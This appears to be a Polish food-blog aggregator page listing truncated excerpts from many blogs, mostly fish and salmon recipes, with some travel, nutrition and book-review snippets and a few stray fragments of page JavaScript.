Sushi z wędzonym łososiem 118

restauracji w Durango w Stanach, a konkretniej w stanie Kolorado. Zaprosili mnie tam znajomi amerykanie. Przyznam szczerze, trochę się bałam, bo zawsze sushi dla mnie było równoznaczne z surową rybą. Jednak na miejscu, okazało się, że sushi jest całkiem pyszne, zresztą to samo można powiedzieć o japońskich lodach mochi, które kształtem przypominają malutkie krążki sera. Japońska kuchnia na dobre zagościła(...)moim domu, ostatnio nawet zaczęłam produkować swoje własne sake- wino ryżowe. Tymczasem polecam sushi, które zrobiłam z wędzonego łososia, gdyż w naszych warunkach niestety ciężko o świeżą surową rybę. Składniki: 3 listki alg (nori) 100g wędzonego łososia 1 szklanka ryżu (+ 1 łyżeczka soli) 2 pomidory ok. ½ zielonego ogórka lub awokado Sos sojowy Wasabi (ostry, zielony chrzan) Imbir marynowany ew. Zioła

Smakowy Raj
Jem zdrowo: Sałatka z makrelą 343

żółtego 1 łyżka oleju słonecznikowego 1 łyżka sosu koperkowego do sałatek Knorr 1 łyżka wody " document.write(" "); Sposób przygotowania Krok 1 Marchew i ser trzemy na grubych oczkach. Szczypiorek siekamy, rybę pozbywamy ości i kroimy na mniejsze części. Układamy rukolę, makrelę, szczypiorek, marchewkę i ser, polewamy sosem koperkowym do sałatek (wymieszanym z wodą i olejem) function load(url, callback

CoolinarniePL
La Boqueria 141

Barcelonie i miejsce, które koniecznie trzeba odwiedzić. Położony przy głównej ulicy La Rambla jest trudny do ominięcia. Codziennie kusi tłumy ludzi świeżymi owocami (również tymi z morza), warzywami, rybami oraz mięsem. Już przy wejściu barwy i zapachy otaczają z każdej strony. Przy stoiskach z rybami i owocami morza kłębi się więcej ludzi z aparatami, niż samych kupujących, na co sprzedawcy

pink envelope
Tuńczyk! 290

wyobrażenie o tuńczyku zawsze było, że to taka mała rybka jak szprotka, ewentualnie może być jak  śledzik bałtycki. Dopiero kolega w pracy, kiedy na przerwie zeszliśmy na temat ryb i połowu, pojawiło się hasło tuńczyk, ja na to - 'aha, no wiem, to taka mała rybka'. Kolega odpala Google i pokazuje mi tą moją "małą rybkę". Moje zdziwienie ogromne(...)pory mam w głowie jedną fotografię, jak pan rybak zabiera się za wyłowionego tuńczyka z maczetą. My tu o rybach, a sałatka czeka :) Prosta, szybka i zdrowa, bo z ryżem i małą ilością majonezu. Składniki 2 torebki ryżu naturalnego 1 puszka tuńczyka w sosie własnym 4 ogórki konserwowe 3 jajka ugotowane na twardo pół papryki czerwonej 1 cebula

pink envelope
Kromka warta obiadu 197

łososia czekał drugi dzień w lodówce na wenę, więc użyłam go poniekąd ze względów praktycznych. A kromka to patent z hotelowej restauracji w Ischii- podano nam tam kiedyś rybę właśnie na kawałku chleba. Ta restauracja była dla nas źródłem niesamowitej rozrywki, ze względu na kelnera, którego przydzielono do naszego stolika. Chłopak nie znał kompletnie angielskiego, a w niemieckim znał tylko(...)kawałki, nacieramy z dwóch stron ziołami prowansalskimi i podsmażamy na maśle na patelni grillowej. Po obróceniu go na drugą stronę, solimy po wierzchu. Sól dodajemy tylko z jednej strony ryby. Czosnek obieramy i przeciskamy przez praskę. Chleb kroimy na cienkie kromki, które smarujemy z obu stron masłem. Grillujemy z dwóch stron na patelni grillowej- po obróceniu, na wierzch w miarę

les mirabelles
Sycylia naszym okiem 188

wzmiankę, że mamy zamiar jechać pociągiem nasz recepcjonista prawie dostał zawału i zostawił nam swój numer telefonu "just in case". Po drugie miałam zdemolowaną stopę. Dzień wcześniej nadepnęłam na rybę- tak to jest możliwe. Ryba miała kolce a w nich jad- nic zabójczego, ale cholernie bolesna sprawa. Na dodatek początkowo myślałam, że mi się zdawało i stopę pomoczyłam jeszcze

les mirabelles
Sojowy kebab – gyros i z OpenCard w Kyoto Sushi 156

przypomina ciasto francuskie kampyo suszona tykwa kabayaki węgorz japoński   miso tradycyjna zupa japońska, w składzie: bulion dashi, pasta miso, wodorosty wakame, tofu oshinko marynowana rzepa sashimi sposób serwowania ryb i owoców morza, pokrojonych w płatki lub kostkę z dodatkiem przypraw shiitake gatunek grzybów japońskich tempura warzywa, owoce morza lub owoce smażone w specjalnym cieście teriyaki rodzaj japońskiego sosu, którego(...)główne składniki to sos sojowy, miód lub cukier i sake - mirin tobiko kawior ryby latającej tofu twarożek sojowy wasabi japoński chrzan, koloru zielonego Żródło informacji: strona restauracji   i Wikipedia. Soy kebab-gyros Taste effect inversly proportional to preparation time needed! You’re welcome to try it out:). Ingredients: 2 cups of cooked soy cubes/granulated soy (or cooked soy cutlets

Qlinarnie i Qlinarnie
Makaron z łososiem 249

dente. Łososia obrać ze skóry, pokroić w kostkę i usmażyć na oliwie z oliwek razem ze szpinakiem. Połączyć z musztardą i przyprawić. Makaron wrzucić na patelnię i wymieszać z rybą

Czarnawisienka
Dania z ryb 146

Dania rybne publikowane na moim blogu. Przypominam, może skorzystacie z niektórych przepisów. ŁOSOŚ W SOSIE RYBA W SOSIE WARZYWNYM RYBA PO GRECKU DORSZ Z FASOLKĄ ZAPIEKANKA RYBNA SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Wiszące ryby 98

Stragany przyozdobione były wiszącymi, niewypatroszonymi sporymi rybami. Te ostatnie kupowano najchętniej, mimo wysokiej ceny i lekkiego smrodu, zalatującego od każdej z ryb.   Chłonąc widoki, wypatrywaliśmy wysokich gór. Kiedy ukazał się nam majestatyczny Kaukaz, byliśmy szczęśliwi. Zapominając o niesnaskach, zatrzymaliśmy samochód i wyskoczywszy z jego wnętrza fotografowaliśmy się na tle górskiego łańcucha we wszystkich możliwych konfiguracjach. Tego dnia, w krótkiej

Jadło i czytadło
Zupa rybna z mleczkiem kokosowym i podsmażanym porem 136

każdej zupy to już jest gwarancja kulinarnego sukcesu. Mleczko nadaje zupie aksamitu i delikatności.         Na 3 porcje 600 g filetu z dorsza lub innej morskiej ryby o białym mięsie 1 puszka mleczka kokosowego 1 szklanka bulionu (może być z kostki) 1 łyżeczka czerwonej pasty curry 1 płaska łyżeczka startego imbiru 2 płaskie łyżeczki cukru 3 łyżki(...)soli   około 10 cm pora   Na oleju podsmażyć przez 1 minutę pastę curry i starty imbir, następnie zalać bulionem i mleczkiem kokosowym, dodać pozostałe przyprawy i zagotować. Rybę pokroić na kawałki średniej wielkości i wrzucić do zupy. Gotować na małym ogniu około 10 minut. Pora pokroić w plasterki i lekko podsmażyć na oliwie z oliwek. Gotową zupę podawać

Jadło i czytadło
Paprykarz szczeciński 303

koncentrat pomidorowy. Doprawiamy łyżeczką sosu sojowego, cukrem oraz solą i pieprzem. Podlewamy odrobiną ciepłej wody, mieszamy i dusimy pod przykryciem około 10-15 minut. W między czasie obieramy dokładnie rybę z ości. Na patelnie dorzucamy rybę oraz ryż, mieszamy całość, smażymy jeszcze z 2 minuty. Zdejmujemy z gazu, wyjmujemy liście laurowe i w razie potrzeby doprawiamy. Kiedy ostygnie możemy przełożyć

Kolizje Smaków
Sałatka z wędzonym łososiem. 327

smakoszy wędzonego łososia ta sałatka to strzał w dziesiątkę.  Ryby to bardzo bogate źródło wysokowartościowego białka i witamin, zaś łosoś to jedna z najcenniejszych ryb. Jego tłuszcz chroni przed miażdżycą, obniża poziom cholesterolu, poprawia układ krążenia w całym organizmie i wzmacnia pracę serca. Moja sałatka jest szybka do przygotowania, efektowna i bardzo smaczna . SKŁADNIKI: 1 mała sałata lodowa

Kuchnia Beaty
Łosoś w sosie śmietanowo - koperkowym 175

oraz pieprz ( sól polecam morską, a pieprz kolorowy) Sos: 350 ml śmietany (12% lub 18% do sosów/zup)     Przygotowanie:   Jak wiemy łosoś to wspaniała i smaczna ryba, dziś chciałbym wam przedstawić mój sprawdzony przepis na łososia w sosie śmietanowo- koperkowym bardzo smaczne, delikatne danie. Cebulkę kroimy w drobną kostkę, a czosnek przeciskamy przez praskę i dajemy(...)smażymy około 5-8 min i w tym czasie doprawiamy solą ( ja używam morskiej) i pieprzem. Próbujemy łososia czy jest już usmażony ( nie trwa to długo gdyż to delikatna ryba) i dodajemy posiekany koper i całość podsmażamy 2-3 minuty. Następnie dodajemy śmietankę i całość trzymamy około 5 min na ogniu w trakcie próbujemy i doprawiamy solą i pieprzem. Wcześniej

Sprawdzone przepisy kulinarne
Ryba w papilotach 192

cebula, kukurydza etc) Doprawić do smaku solą, pieprzem oraz pozostałymi przyprawami, polać odrobiną oliwy z oliwek i dokładnie wymieszać KROK 2: Na środku papirusu ułożyć warzywa, a na nich rybę Zawinąć dokładnie papirus na kształt cukierka, tak by ryba i warzywa były dokładnie przysłonięte papirusem Wstawić do nagrzanego do 200 st. piekarnika, piec około 25 minut SMACZNEGO!!! Ilość: 2 osoby

smacznieinatemat
Podróże kulinarne - Tunezja 181

zarówno na słodko z dodatkiem rodzynek i orzechów jak i na ostro. Kuskus w Tunezji podaje się z mięsem-głównie z baraniną,  ale też z kurczakiem lub z rybą oraz z dodatkiem warzyw. Kuskus na slodko-z rodzynkami i orzechami z kurczakiem Kuskus wytrawny z kurczakiem i baraniną z dodatkiem warzyw Z mięs spożywa się głównie baraninę i jagnięcinę(...)drób-kurczaka, indyka oraz wołowinę. Ponieważ jest to  kraj muzułmański, w Tunezji nie spożywa się wieprzowiny (wyjątkiem są hotele, w których serwuje się ją turystom). Popularne są tu ryby (zwłaszcza tuńczyk) i owoce morza ( krewetki, kalmary, ośmiornice) Macki na talerzu ;) Będąc w Tunezji trzeba spróbować  tzw. Brick l’oeuf a-„pieroga” zrobionego z cieniutkiego ciasta (przypominającego ciasto filo

Zawsze głodna!
Zdrowe święta! 114

lżejsze wersje ciast – używajmy mąki z pełnego przemiału, płatków owsianych,  puree z fasoli, otrębów.  Słodkie dżemy zastąpmy owocami, cukier miodem.          Nie katujmy ryb ciężką panierką , zamiast tego pieczmy je w piekarniku, w folii – gwarantuje, że będą smaczniejsze od tych panierowanych. Podobnie z krokietami - zróbmy panierkę z płatków owsianych i upieczmy je w piekarniku(...)szybciej się najemy          Uwaga na alkohol – wzmaga apetyt!          Jeśli nie mamy wpływu na menu, starajmy się zdejmować panierkę z ryb , wybierać sałatki bez majonezu. Kolację zacznijmy od niskokalorycznych potraw, dzięki temu zjemy mniej tych tłustych. Uzupełniajmy dania warzywami – szybciej się nasycimy.          Delektujmy się smakiem, jedzmy

Powiedz dietom nie
Jak wzmocnić odporność? 133

zawierała: Cynk – ma on ważny wkład w budowanie odporności naszego organizmu. Cynk znajdziemy w pestkach dyni, słonecznika, kaszy gryczanej, razowych produktach (makaron, chleb), ryżu brązowym, płatkach owsianych, pieczywie graham, rybach i owocach morza. Witaminę C – jej rola w profilaktyce przeziębienia jest dość sporna. Istnieją badania wykazujące, że codzienne przyjmowanie witaminy C obniża ryzyko zachorowania jedynie u maratończyków. Niemniej jednak skraca(...)zawartość zależy od jego ilości w glebie oraz od rodzaju produktu. Najlepszym źródłem są drożdże, produkty zbożowe, jaja i orzechy. Niezbędne nienasycone kwasy tłuszczowe - powinno się wybierać głównie tłuste ryby morskie które tych kwasów mają najwięcej. Przykładowo łosoś, makrela, sardynki. Żelazo – jest znacznie lepiej przyswajalne z produktów mięsnych (wątróbka nerki, czerwone mięso) niż z innych źródeł (grube kasze, buraki, chleb

Powiedz dietom nie
Ryby w zalewie pomidorowej 352

kolejna potrawa wigilijna, która jest tradycją w naszym domu, wszyscy bardzo ją lubimy RYBY W ZALEWIE POMIDOROWEJ .  SKŁADNIKI: 1kg. filetów z mintaju lub z morszczuka cebula  ogórek konserwowy 2-3 jajek masło klarowane ZALEWA: 2 szkl. wody 1/2 szkl. oliwy 2-3 łyżek cukru 3 łyżki kechupu 1 mały przecier pomidorowy 6 łyżek octu sól, pieprz, ziele angielskie(...)kroimy na kawałki, przyprawiamy solą i pieprzem, maczamy w rozkłóconym jajku i bułce tartej smażymy na rozgrzanym klarowanym maśle, ogórek i cebulę kroimy w kostkę, potrawę układamy w misce: ryby na przemian z ogórkiem i cebulą, całość zalewamy gorącą zalewą A teraz rozkoszujemy się smakiem, smacznego

Kuchnia Beaty
Korniszony w zalewie pomidorowej. 116

Witam postanowiłam w tym roku puścić wodze fantazji i zrobić ogórki na różne sposoby. Zainspirowana RYBAMI W ZALEWIE POMIDOROWEJ (przepis we wcześniejszym poście) pomyślałam, że skoro ryby w tej zalewie tak dobrze komponują się z ogórkami konserwowymi, to same ogórki w podobnej zalewie muszą być równie pyszne. Tak, więc do dzieła... SKŁADNIKI: 2 kg małych ogórków, ZALEWA: 1 szklanka octu

Kuchnia Beaty
Chorwackie smaki - czyli podróż do Dalmacji cz. 2 260

ananasem, winogronem i morelą. Mi osobiście to danie nie smakowało, ale inni się zajadali :) Tradycyjna lazania. Grillowana rybka z surówka z gotowanej marchewki, groszku z ziemniakami. Trzeba przyznać, że ryby były wyśmienite. Tradycyjne danie chorwackie - Musaka  Zapiekanka z ziemniakami i mięsem mielonym. Polski pyszny rosołek :) Kolejne tradycyjne danie czyli - gulasz drobiowy z pomidorami i groszkiem podawany z makaronem. Przepyszne(...)Filet rybny w sosie serowym z ryżem. Bardzo delikatne mięsko, sos pasował idealnie. Ryba grillowana z warzywami na parze i ziemniakami.  Spaghetti bolognese.  Sznycel w sosie pieczarkowym z ryżem, Karczek z warzywami i ziemniakami - niestety sos był z torebki a mięso gumowe :( A na koniec tak jak obiecałam napis nad jedną z restauracji: Jeżeli podobał Ci się post

Kolejny blog o gotowaniu
Paprykarz domowej roboty 224

Makrela to absolutny klasyk jeśli chodzi o wędzoną rybę. Dziś polecam przekąskę do śniadania lub kolacji z dodatkiem właśnie tej ryby. Można z niej przyrządzić nie tylko pastę na kanapki, ale także paprykarz domowej roboty, który wychodzi przepyszny. Mojej rodzinie smakuje lepiej niż wędliny, można zrobić taką ilość jaką się chce, a jego wykonanie jest błyskawiczne. Jeśli tylko ktoś lubi

upichcic
Zupa Wietnamska Tom Yum 107

samą kuchnię, posiada cechy odróżniające go od reszty. Hue słynie z ostrych, aromatycznych potraw i oryginalnego ich podawania. W Sajgonie do potraw dodawane jest więcej warzyw, owoców i ryb, natomiast w Hanoi potrawy przygotowywane są w prosty i szybki sposób. Do przyrządzenia większości potraw potrzebne są orientalne składniki, m.in. trawa cytrynowa, czy mong toi. Restauracje wietnamskie znajdujące się poza dalekim(...)więc sprowadzać niektóre przyprawy z kraju. Podstawą kuchni wietnamskiej są świeże i zdrowe składniki – różnego rodzaju warzywa, z których przygotowywane są rozmaite sałatki , owoce, często pełniące role deserów orientalnych, ryby, czy owoce morza, niezbędne do przyrządzenia niektórych zup (np. zupy krewetkowej). Tradycyjne wietnamskie dania to: popularna zupa – uwielbiana przez Wietnamczyków i sajgonki – uwielbiane przez Polaków, choć nieco zmienione dla potrzeb

ClauditteMissCooking
Urlop z dzieckiem....czyli co zjeść i gdzie. Miejsca przyjazne dzieciom. 166

Zupy takie bardzo po domowemu. Klimat miejsca bardzo czarujący i bajkowy, zwłaszcza gdy robi się już ciemno. Miejsce w 100% przyjazne dla dzieci. Przepyszne zupy i kiełbaski z grilla. Ryby wędzone... Nie ma udanego wyjazdu nad morze bez zjedzenie tego specjału. Ja znalazłam swoje miejsce, swoją budkę wzdłuż ulicy Rodziewiczówny.   Gdzie na loda? Jak na lody to tylko(...)podniebienia. Dla syna wybrałam zupę krem z soczewicy ja zaś zjadłam słynną sałatkę Magdy Gessler "sałatka Bombay". POLECAM!!!! Tawerna Wikingów... Czyli najlepsza pizza, zupa pomidorowa, flaczki z kalmara i ryby z pieca. Nie ma co więcej pisać. Tam po prostu trzeba koniecznie pójść i coś zjeść a wrócicie tam za każdym razem. Coś na ząb Jeżeli masz ochotę bardzo szybko

ClauditteMissCooking
Mój tata wymiata !!! Rodzinne gotowanie. Zdrowe kotleciki z indyka. 165

niedźwiedzi wspomaga trawienie, a dodany do innych potraw, skutecznie eliminuje niekorzystne związki zawarte w wysoko przetworzonych produktach. Czosnku niedźwiedziego warto używać do potraw z wieprzowiny, baraniny, drobiu, dziczyzny i ryb. W postaci suszonej doskonale wzbogaca aromat i smak kiełbas, szynek czy pasztetów. Cebula należy do najbardziej znanych w świecie warzyw, nie tylko ze względu ma swój smak, ale także dobroczynne(...)Świetny na dietę Najchudsze partie z indyczego mięsa zawierają zaledwie 5% tłuszczu. Nawet jeśli kawałek jest nieco tłustszy, są to głównie dobre nienasycone kwasy tłuszczowe, podobnie jak w rybach. Nie przyczyniają się one do wzrostu poziomu cholesterolu we krwi. Mięso indyka w 10 dag ma zaledwie 140 kcal. Indyk jest uwielbiany przez dietetyków, którzy bardzo często polecają go swoim klientom

ClauditteMissCooking
Jak zacząć ? 160

wytrwać nam w postanowieniu: słone i słodkie przekąski, dania gotowe, zupy oraz sosy w proszku, wędliny paczkowane itp. Kupujemy warzywa, owoce (głównie sezonowe), produkty zbożowe (pełnoziarniste), nabiał, chude mięsa, ryby a także zaopatrujemy się w wodę, herbaty, zioła oraz przyprawy. Pamiętajmy, że należy czytać etykiety na wszystkich produktach jakie lądują w koszyku.      3.  PRZESTRZEGAMY ZASAD RACJONALNEGO(...)ŻYWIENIA Jemy 5 posiłków dziennie w regularnych odstępach. Codziennie jemy 2 porcje owoców i 3 warzyw. Mięso (chude) spożywamy dwa razy w tygodniu tak samo ryby. Należy ograniczyć tłuszcz, głównie zwierzęcy, zastępujemy go roślinnymi. Do codziennej diety włączamy produkty zbożowe (pełnoziarniste). Uważamy na doprawianie produktów solą, dziennie staramy się by nie przekroczyć 1 łyżeczki soli. Regularnie uprawiamy sport. Staramy się

Życie na widelcu
ryba w cieście 107

szatkujemy drobno; podsmazamy je razem z cebulkami, doprawiamy do smaku. Rybe przyprawiamy z obu stron. Wyrosniete ciasto dzielimy na 2 czesci. Z pierwszej walkujemy placek i wycinamy nozem ksztalt ryby. Delikatnie przenosimy na blache(wczesniej trzeba ja posmarowac maslem i podsypac maka). Brzegi rybki smarujmey bialkiem i z pozostalego po wycieciu ciasta doczepiamy paseczki, tak by farsz nam nie wypadl(...)wyciety tulów ryby kladziemy filety rybne, nakladamy pieczarki i wyrównujemy. Walkujemy druga czesc ciasta i za pomoca malej szklanki lub kieliszka wycinamy krazki (to bedzie luska i oko). Nozem wycinamy takze ogon i glowe. Gotowa rybe smarujemy rozklóconym jajkiem i wstawiamy do piekarnika (175o) na okolo 40 minut(), pilnujac by sie nie przypiekla za bardzo ( pod koniec mozna przykryc wierzch

w mojej kuchni
Łosoś z cytrynowym risotto i sałatką z roszponki. 133

łusek, kroimy na 2 w miarę równe części, myjemy i osuszamy papierowym ręcznikiem. Następnie nacieramy solą i pieprzem i posypujemy świeżo startą skórką z 1/3 cytryny. Odstawiamy by ryba przeszła przyprawami. W garnku roztapiamy połowę masła, dodajemy drobno posiekaną cebulę i czekamy aż się pięknie zeszkli. Następnie dodajemy ryż oraz estragon i wszystko razem musimy przesmażyć przez chwilę(...)szczyptę pieprzu i odstawiamy na bok pod przykryciem. Po kilku minutach dodajemy resztę masła, mieszamy i risotto gotowe ! W międzyczasie oczywiście smażymy łososia. Na rozgrzaną patelnie (z olejem) wrzucamy rybę skórą do dołu i tak smażymy na średnim ogniu przez kilka minut (8-9 min) następnie obracamy ją na drugą stronę i smażymy max 5-6 min. Musimy uważać, żeby

Wspólne smaki
Sałatka z pstrągiem łososiowym, zielonymi owocami i twarożkiem wędzonym 222

ości i kroimy w paski grubości 1cm. Solimy i pieprzymy bardzo delikatnie.   Na patelni rozgrzewamy łyżkę masła klarowanego. Gdy będzie już gorące kładziemy kawałek pergaminu, a na nim rybę i smażymy na rumiano z każdej strony.  5. Na talerzu wysypujemy sezam czarny i biały, po czym obtaczamy w nim usmażoną rybkę. Na talerzach układamy sałatkę, następnie avocado(...)kiwi, oprószamy serkiem wędzonym, układamy rybę i pomidorki. Polewamy olejem rydzowym, który zastąpi nawet najlepszy winegret! Smacznego

Sajkofanka smaku
Jem zdrowo: Dorsz pieczony z tyminakiem na warzywach 175

oliwą, na każdym kawałku kładziemy gałązkę tymianku i pieczemy z termoobiegiem około 20 minut w 180 stopniach. Warzywa wg instrukcji smażymy na patelni. Układamy na talerzu na to upieczonę rybę i gałązki tymianku. Warzywa najlepiej przyprawić solą pieprzem i również tymiankiem. function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp

CoolinarniePL
ŁOSOŚ Z PATELNI GRILLOWEJ 125

końcu to nie moja wina, że pogoda pokrzyżowała mi plany. Niebo płacze, a ja się uśmiecham :) Całkiem smaczny wyszedł mi ten obiad. SKŁADNIKI: filet z łososia przyprawa do ryby  sól pieprz sok z cytryny A jak to zrobić: Filet z łososia pokroić na porcje. Każdy kawałek oprószyć przyprawami i skropić sokiem z cytryny. Odstawić do lodówki na około(...)godzinę. Patelnię grillową bardzo mocno rozgrzać i smażyć rybę z dwóch stron po 3-4 minuty z każdej strony. Mój łosoś idealnie skomponował się z warzywami

Kuchnia w opałach
ZAPIEKANE NALEŚNIKI Z MAKRELĄ 185

Dziś mam dla Was przepis na fantastyczne naleśniki , chrupiące , smażone na masełku …. wypełnione po brzegi super farszem z wędzonej makreli. Wiadomo – połączenie nie dla każdego , ale wielbiciele ryb z przyjemnością sięgną po dokładkę! Polecam! SKŁADNIKI: NALEŚNIKI: * mąka – 0,5 szkl * mleko – 1 szkl * jajko – 1 szt * proszek do pieczenia – 1 łyżeczka * sól

Ostra na Słodko
Sałatka śledziowa 371

Śledzie zaliczamy do tłustych ryb, 100 g dostarcza 160 kcal. Mają sporo potasu, kwasu omega-3  Spora ilość tłuszczu w śledziu to jego zaleta, aż 70 proc. tego tłuszczu stanowią dobroczynne dla zdrowia kwasy tłuszczowe jedno- i wielonienasycone, szczególnie cenny jest kwas EPA. Ryby te  są bogatym źródłem witamin A i D oraz E, sporo witaminy B6 oraz

kgwjanczewo
SOS TERIYAKI 133

Teriyaki jest wyśmienity z rybą (szczególnie z łososiem, miecznikiem, tuńczykiem lub morskim okoniem), kurczakiem lub wołowiną. Składniki: ½ szklanki sosu sojowego ¼ szklanki białego wina ¼ szklanki octu ryżowego ⅓ szklanki cukru 1 ząbek rozgniecionego czosnku 2½ cm kawałek rozgniecionego korzenia imbiru 2½ cm kawałek skórki z cytryny Przygotowanie: Wetrzeć odrobinę oleju sezamowego w rybę, drób lub mięso przed grillowaniem. Ten sos należy użyć

naRuszcie
Wszechstronna marynata z kolendrą 153

marynata łączy w sobie wiele smaków. Ta marynata jest idealna dla wołowiny, drobiu, wieprzowiny a nawet ryb. Czas przygotowania: 15 minut; Wydajność: ¾ filiżanki Składniki: ¼ szklanki liści świeżej kolendry (drobno posiekanej) skórka i sok z jednej cytryny 2 łyżki octu balsamicznego 2 łyżki oliwy z oliwek 1-2 wyciśnięte ząbki czosnku 1 łyżka musztardy Dijon 1 łyżeczki soli morskiej 1 łyżeczka(...)średnim naczyniu wymieszać ocet balsamiczny, sok z cytryny. Powoli mieszając dodać oliwę z oliwek, musztardę Dijon, kolendrę, skórkę z cytryny, sól i pieprz. W tak przygotowanej marynacie marynować: ryby nie więcej niż 30 minut; drób i wieprzowinę 1 godzinę a wołowinę około 6-8 godzin. Marynatę używać natychmiast po przygotowaniu albo nie później niż 2-3 dni po przygotowaniu. Wszechstronna

naRuszcie
Wstążki z łososiem w delikatnym sosie śmietanowym 213

delikatnym sosie śmietanowym 150 g makaronu wstążki 150g świeżego łososia 4 łyżki śmietany  1 cebula 3 ząbki czosnku masło koper sól, pieprz  5 pomidorów koktajlowych przyprawa do ryb Makaron gotujemy zgodnie z opisem podanym na opakowaniu.  Kiedy makaron będzie się gotował możemy się zająć naszym błyskawicznym sosem:  Rozpuszczamy masełko na patelni. Wrzucamy drobno posiekane ząbki czosnku(...)pomidorki koktajlowe i dodajemy do czosnku i cebuli. Dusimy lekko, a w tym czasie możemy pokroić łososia. Kroimy go w kostkę. Dodajemy na patelnię.  Posypujemy lekko przyprawą do ryb dla podkreślenia smaku. Podsmażamy około 2 minut i dodajemy śmietanę.  Całość podsmażamy około 3 minut, Posypujemy delikatnie koperkiem, mieszamy.  Podajemy makaron z sosem.  Można zrobić wersję

Kuchnia moimi oczami
Morszczuk na szpinakowej poduszce :) 120

właściwości pomocnych z zwalczaniu nałogów związanych z nadużywaniem alkoholu czy paleniem papierosów. Ja osobiście nie mam takich problemów, ale skrobię bardzo lubię i używam :) Składniki: - filet morszczuka lub innej ryby - 300 g szpinaku (u mnie mrożony) - przyprawy: sól, pieprz ziołowy, pieprz prawdziwy, szczypta chili - 1 ząbek czosnku - 2 łyżki mleka - 1 łyżeczka skrobi kuzu lub innego zagęstnika - 3 łyżki jogurtu(...)kubeczku rozrobić skrobię z mlekiem, dodać jogurt i jajko, wymieszać. Zawiesinę wlać do szpinaku i gotować na mniejszym ogniu, cały czas mieszając przez ok. 5 minut. Podawać z filetem ryby. Smacznego

Zdrowie na języku :P
Pieczony szczupak w carry, z koprem, warzywami i olejem z awokado :) 116

Tata złowił szczupaka to trzeba go należycie spożytkować :) Szczupak smakuje wyśmienicie. Jest to ryba chuda, dlatego dodatek oleju z awokado nadaje jej soczystego smaku. Przyprawy sprawiają, że danie jest bardzo aromatyczne. Ponadto lekkie, zdrowe, kolorowe :) Olej z awokado od Badapak do pieczenia jest wyśmienity. A z pieczonymi ziemniaczkami.....py-cho-tka! :D Składniki: - 1 mały świeży szczupak - sok z cytryny(...)groszek, por, brokuł, fasolka szparagowa, ziemniaczki - każdego po troszku) - przyprawy: sól, carry, pieprz czerwony, pieprz caynne Naczynie żaroodporne wykładamy folią aluminiową. Oczyszczonego szczupaka skrapiamy sokiem z cytryny, do środka ryby wkładamy koperek, solimy i przyprawiamy. Warzywa kroimy według upodobań, jednak nie za grubo. Układamy w naczyniu, polewamy olejem z awokado. Naczynie szczelnie owijamy z wierzchu folią. Wstawiamy do piekarnika

Zdrowie na języku :P
Łosoś w galarecie z musem z awokado i chrzanu / Salmon in aspic with avocado and horseradish mousse 110

moim rodzinnym domu w okresie międzyświątecznym królują ryby. Jedną z ulubionych potraw jest karp w galarecie. Jednak ze względu na to, że karp jest bardzo ościsty i moje dzieci za nim nie przepadają postanowiłam przygotować uwielbianego przez nie łososia. Aby zaostrzyć smak potrawy dodałam mus z awokado i chrzany przygotowany na bazie kremowego serka. SKŁADNIKI 60 dkg filetu z łososia(...)laurowe 4 ziela angielskie  kilka ziarenek pieprzu PRZYGOTOWANIE Łososia dokładnie myję i osuszam. Gotuję na parze, do wody dodaję liście laurowe, ziele angielskie i pieprz, które ładnie aromatyzują rybę. Jajka przepiórcze gotuję na twardo. Zarz po ugotowaniu przelewam zimną wodą i obieram aby wokół żółtek nie pojawiły się ciemne obwódki. Awokado miksuję na gładka masę z chrzanem i serkiem

Magiczna kuchnia Darii
Łosoś pieczony w maśle cytrynowo-miętowym 99

Klasyk. Łosoś w maśle z cytryną to klasyk. Gdy dodacie do tego kilka listków drobno posiekanej mięty i łyżeczkę startego imbiru, pieczona ryba nabiera nowego smaku. Warto spróbować :) Czytaj więcej

bistro mama
Surówka z kiszonej kapusty i ananasa 139

Kapustę kiszoną najczęściej jadamy jako dodatek do ryb. Taką klasyczną, z tartą marchewką, z odrobiną cukru i oleju. I nigdy nie sądziłam, że z kapusty kiszonej można wycisnąć coś tak dobrego. Z przyjaciółką z licealnej ławki często wymieniamy przepisy i pomysły. Napisała, że chodzi i podjada, i że surówka obiadu nie doczeka... że taką dobrą zrobiła. Pytam jej więc

bistro mama
Zupa czosnkowa z klopsikami 146

tygodniu też należy, a nawet trzeba coś zjeść! Skoro jesteśmy już w temacie świątecznym, to nie mam w tym roku żadnych przepisów świątecznych, żadnych nowości, oprócz ryby po grecku, której zachciało mi się we wrześniu, jednego ciasta z makiem i uszek z barszczem, które czekają na publikację od zeszłego roku. Czytaj więcej

bistro mama
Pasta z wędzonej makreli 149

makrela 3 łyżeczki majonezu 2 łyżeczki jogurtu naturalnego szczypiorek koperek 1/2 łyżeczki czerwonej papryki w proszku sól, pieprz PRZYGOTOWANIE: Makrelę należy obrać ze skóry i dokładnie pozbawić ości. Mięso ryby przekładamy do miseczki i rozdrabniamy za pomocą widelca. Dodajemy majonez i jogurt naturalny. Następnie posiekany szczypiorek i koperek. Doprawiamy czerwoną papryką w proszku, solą i pieprzem. Dokładnie łączymy

kulinarnyJa
Chata Wędrowca - Wetlina (Bieszczady) 187

było na nią chwilkę czekać, ale nie wymagajmy, żeby naprawdę dobre danie, po którym czuć, że ktoś poświęcił mu należytą uwagę, pojawiało się na stole w 10 minut. Do ryby zapiekane ziemniaczki i świeża sałatka. Tu też chciałam zwrócić na coś uwagę. Ładny, świeży ziemniak, świeża sałata, zielony ogórek, majonezowy dresing. To nie jest majątek. Nie jest to też

W kuchni wieczorem
Julia Child "Moje życie we Francji" 144

Oprócz Julii Child, równorzędnym bohaterem jest ukochana przez nią Francja. Warto podkreślić, że to Francja spokojna, nie opanowana jeszcze przez tłumy turystów. Paryż niczym wielki targ oferuje świeże warzywa, ryby i mięsa. Sprzedawcy są dumni ze swoich towarów i za punkt honoru stawiają sobie jakość. Można z nimi porozmawiać i poradzić się w kwestiach kulinarnych. Priorytetem jest dobry towar

W kuchni wieczorem
Premiery wydawnicze, jesień 2014. Cz. III - Rachel Khoo, "Moja mała francuska kuchnia" 162

przy którym dużo się nie narobicie. Pisałam już wcześniej o francuskich gulaszach i pieczonych mięsach. Uwielbiam je, bo są proste i zawsze wyborne. Sporo jest tu owoców morza i ryb. Ja ciągle nie jestem fanką takich dań, bo nie mam zaufania do świeżości takich produktów w naszych sklepach, ich specyficzny zapach, kiedy je obrabiamy wypełnia całe mieszkanie

